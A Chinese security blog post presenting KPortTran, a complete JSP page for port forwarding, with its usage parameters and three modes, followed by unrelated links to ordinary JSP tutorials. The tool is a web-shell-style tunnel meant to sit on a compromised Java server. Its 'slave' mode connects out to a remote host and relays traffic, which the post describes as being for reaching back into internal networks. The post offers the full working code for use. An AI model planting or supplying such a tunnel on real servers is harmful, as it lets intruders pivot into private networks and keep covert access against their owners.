JSP端口转发神器:KPortTran

标签: web 安全 | 发表时间:2017-03-10 02:07 | 作者:admin
分享到:
出处:https://www.lshack.cn

back.jsp?lip=本地ip&lp=本地端口&rip=远程ip&rp=远程端口&lp2=本地端口2//本地监听转发到第二个端口&m=运行模式//合法的值有:listen tran slave三种

m = listen
需要参数:lp、lp2
该模式下,会在本地监听两个端口,相互转发数据
m = tran
需要参数:lip、lp、rip、rp
该模式为正向转发下,会在本地的lip上监听lp端口,当有连接建立时,再连接rip的rp端口。并将lip的lp上接收到的数据发向rip主机的rp端口。
m = slave
需要的参数: lip、lp、rip、rp
该模式为反向转发,会分别连接主机lip的lp端口 和 主机rip的rp端口。并转发两者数据,可用于内网反连。

<%@page pageEncoding="GBK"%>
<%@page import="java.io.*"%>
<%@page import="java.util.*"%>
<%@page import="java.nio.charset.*"%>
<%@page import="javax.servlet.http.HttpServletRequestWrapper"%>
<%@page import="java.net.*"%>
<%
/*code by KingX*/
class KPortTran {
    public void listen(String port1, String port2) {
        ServerSocket listenServerSocket = null;
        ServerSocket outServerSocket = null;
        try {
            listenServerSocket = new ServerSocket(Integer.parseInt(port1));
            outServerSocket = new ServerSocket(Integer.parseInt(port2));
        } catch (NumberFormatException e) {
             
        } catch (IOException e) {
        }
        Socket listenSocket = null;
        Socket outSocket = null;
        try {
            while (true) {  
                listenSocket = listenServerSocket.accept();
                outSocket = outServerSocket.accept();
                new tranThread(outSocket, listenSocket).start();
                new tranThread(listenSocket, outSocket).start();
                Thread.sleep(200);
            }
        } catch (Exception e) { 
      }
    }
 
    public void slave(String targetIP, String port1, String srcIP, String port2) throws IOException {
        InetAddress src = InetAddress.getByName(srcIP);
        InetAddress dest = InetAddress.getByName(targetIP);
        int p1 = Integer.parseInt(port1);
        int p2 = Integer.parseInt(port2);
        new Server(src, p2, dest, p1, true);
    }
 
    public void tran(String srcIP, String port1, String targetIP, String port2)
            throws NumberFormatException, IOException {
        InetAddress src = InetAddress.getByName(srcIP);
        InetAddress dest = InetAddress.getByName(targetIP);
        int p1 = Integer.parseInt(port1);
        int p2 = Integer.parseInt(port2);
        new Server(src, p1, dest, p2, false);
    }
class tranThread extends Thread {
    Socket in;
    Socket out;
    InputStream is;
    OutputStream os;
    public tranThread(Socket in, Socket out) throws IOException {
        this.is = in.getInputStream();
        this.os = out.getOutputStream();
        this.in = in;
        this.out = out;
    }
 
    private void closeSocket() {
        try {
            is.close();
            os.close();
            in.close();
            out.close();
        } catch (IOException e) {
        }
    }
    @Override
    public void run() {
        super.run();
        byte[] buffer = new byte[4096];
        int len = -1;
        try {
            while (true) {
                if (in.isClosed() || out.isClosed()|| (len = is.read(buffer, 0, buffer.length)) == -1) {
                    break;
                } else {
                    os.write(buffer, 0, len);
                    os.flush(); 
                }
            }
        } catch (IOException e) {
            closeSocket();
        } finally {
            closeSocket();
        }
    }
}
 
 
class Server extends Thread {
    InetAddress src;
    InetAddress dest;
    int p1, p2;
    boolean reverse = false;
     
    public Server(InetAddress srcIP, int srcPort, InetAddress targetIP,
            int targetPort, boolean flag) {
        this.src = srcIP;
        this.dest = targetIP;
        this.p1 = srcPort;
        this.p2 = targetPort;
        this.reverse = flag;
        start();
    }
 
    @Override
    public void run() {
        super.run();
        if (reverse) {
            try {
                Socket s = new Socket(src, p1);
                Socket s2 = new Socket(dest, p2);
                new tranThread(s, s2).start();
                new tranThread(s2, s).start();
 
                while (true) {
                    if (s2.isClosed() || s.isClosed()) {
                        if (s2.isClosed()) {
                            s2 = new Socket(dest, p2);
                        }
                        if (s.isClosed()) {
                            s = new Socket(src, p1);
                        }
                        new tranThread(s, s2).start();
                        new tranThread(s2, s).start();
                    }
                    Thread.sleep(1000);
                }
            } catch (IOException e) {
            } catch (InterruptedException e) {
            }
 
        } else {
            ServerSocket ss;
            try {
                ss = new ServerSocket(p1, 5, src);
 
                while (true) {
                    Socket s = ss.accept();
                    Socket s2 = new Socket(dest, p2);
                    new tranThread(s, s2).start();
                    new tranThread(s2, s).start();
                }
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
}
}
%>
<%
final String localIP = request.getParameter("lip");
final String localPort = request.getParameter("lp");
final String localPort2 = request.getParameter("lp2");
final String remoteIP =request.getParameter("rip");
final String remotePort =request.getParameter("rp");
final String mode =request.getParameter("m");
 
KPortTran pt = new KPortTran();
if (mode.equals("tran")) {
    pt.tran(localIP, localPort, remoteIP , remotePort);
}
if (mode.equals("slave")) {
    pt.slave(localIP, localPort, remoteIP , remotePort);
}
if (mode.equals("listen")) {
    pt.listen(localPort, localPort2);
}
 
%>

 

相关 [jsp 端口 kporttran] 推荐:

JSP端口转发神器:KPortTran

- - Hacking is endless! Focus on network security!
back.jsp?lip=本地ip&lp=本地端口&rip=远程ip&rp=远程端口&lp2=本地端口2//本地监听转发到第二个端口&m=运行模式//合法的值有:listen tran slave三种. 该模式下,会在本地监听两个端口,相互转发数据. 需要参数:lip、lp、rip、rp.

JSP自定义方法库

- - CSDN博客编程语言推荐文章
如果JSTL的方法库没有满足需要,可以使用自定义方法进行扩展. public static int length(Object obj){ //返回对象的长度. 自定义方法的声明写在 <function-signature>标记里面,格式为.       返回值 方法名(参数1类型,参数2类型……).

jsp+servlet实现验证码功能

- - CSDN博客推荐文章
验证码的功能大多数人可能不都理解,但几乎每个安全网站都会有. 验证码是用来防止非人为因素操作的行为,例如一个黑客要黑一个网站,怎么弄呢. 最简单的思路当然是造成其网路拥堵直至系统瘫痪掉. 如果没有验证码,那么我就可以在注册页面,写一个程序,只有注册表单,不断更换主键或不可重复的内容,不停的提交. 那这样每秒可以注册几万次都有可能,这样服务器就大量负载,很容易就瘫痪并死掉.

jsp静态化之简单介绍

- - CSDN博客Web前端推荐文章
StringBuffer htmlCode = new StringBuffer(); //这里我做了改动,原文是用String,这样内存消耗会太大,原因我就不说了. HttpURLConnection connection = (HttpURLConnection) url.openConnection(); //抽象连接.

JSP, C 写入文件添加BOM头实例

- - CSDN博客推荐文章
注: 以下的状况不加BOM头也不会有中文乱码问题, 只是演示一下JSP输出文件如何加BOM头. out.write()是字节输出流的方法. out.print()是字符输出流的方法. 作者:oscar999 发表于2012-1-10 10:41:44 原文链接. 阅读:3 评论:0 查看评论.

测试Jsp 静态包含和动态包含

- - CSDN博客Web前端推荐文章
静态包含是在请求包含页面时去编译包含页面,编译时遇到静态页面包含伪码将被包含页面的内容复制到被包含页面中进行编译. 动态包含是指在请求包含页面的时候遇到动态包含指令将请求转到被包含页面,这时去编译被包含页面. 但两者生成的class文件缺不同:. 通过以上说明可知,动态包含在请求到来时编译包含页面和被包含页面,如果都是jsp页面,那么将生成两个个页面对应的class文件和java文件.

【JSP】JSTL核心标签库的使用方法和示例

- - CSDN博客Web前端推荐文章
 JSTL 核心标签库标签共有13个,功能上分为4类:. 表达式控制标签:out、set、remove、catch. 流程控制标签:if、choose、when、otherwise. 循环标签:forEach、forTokens. URL操作标签:import、url、redirect. 使用标签时,一定要在jsp文件头加入以下代码:.

使用FreeMarker替换JSP的10个理由

- - ImportNew
你还在使用 Java 服务器页面(俗称JSP)吗. 我曾经也是,但是几年前我抛弃了它们,并且再也没有用过JSP了. JSP 是个很好的概念,但是它却剥夺了 web 开发的乐趣. 对我而言,这些都是小事,比如无法在页面模板上使用单独的文件header.jsp 和 footer.jsp,不能调用表达式语言的方法,在运行时无法合并,重新排列页面的各个部分.

三个标签案例:帮你深入学习JSP自定义标签

- - CSDN博客Web前端推荐文章
/* 案例一:开发一个if标签 日期:20130930 作者:烟大阳仔 */ 1.编写一个实现tag接口的JAVA类 public class IFTagLib extends SimpleTagSupport {. 2.在tld文件中对标签处理器进行描述(tld文件的位置WEB-INF里面) <?xml version="1.0" encoding="UTF-8" ?> <taglib xmlns="http://java.sun.com/xml/ns/j2ee".

springmvc实现校验失败后,jsp界面回显的三种方式

- - 编程语言 - ITeye博客
springmvc实现jsp界面回显的三种方式总结:. 第一种:controller处理方法的形参pojo定义的对象与此类型同名 ,首字母小写,此时spring能自动将该. 对象名为key,此对象作为value,保存到request中. (必须注意:方法形参必须定义HttpServletRequest对象).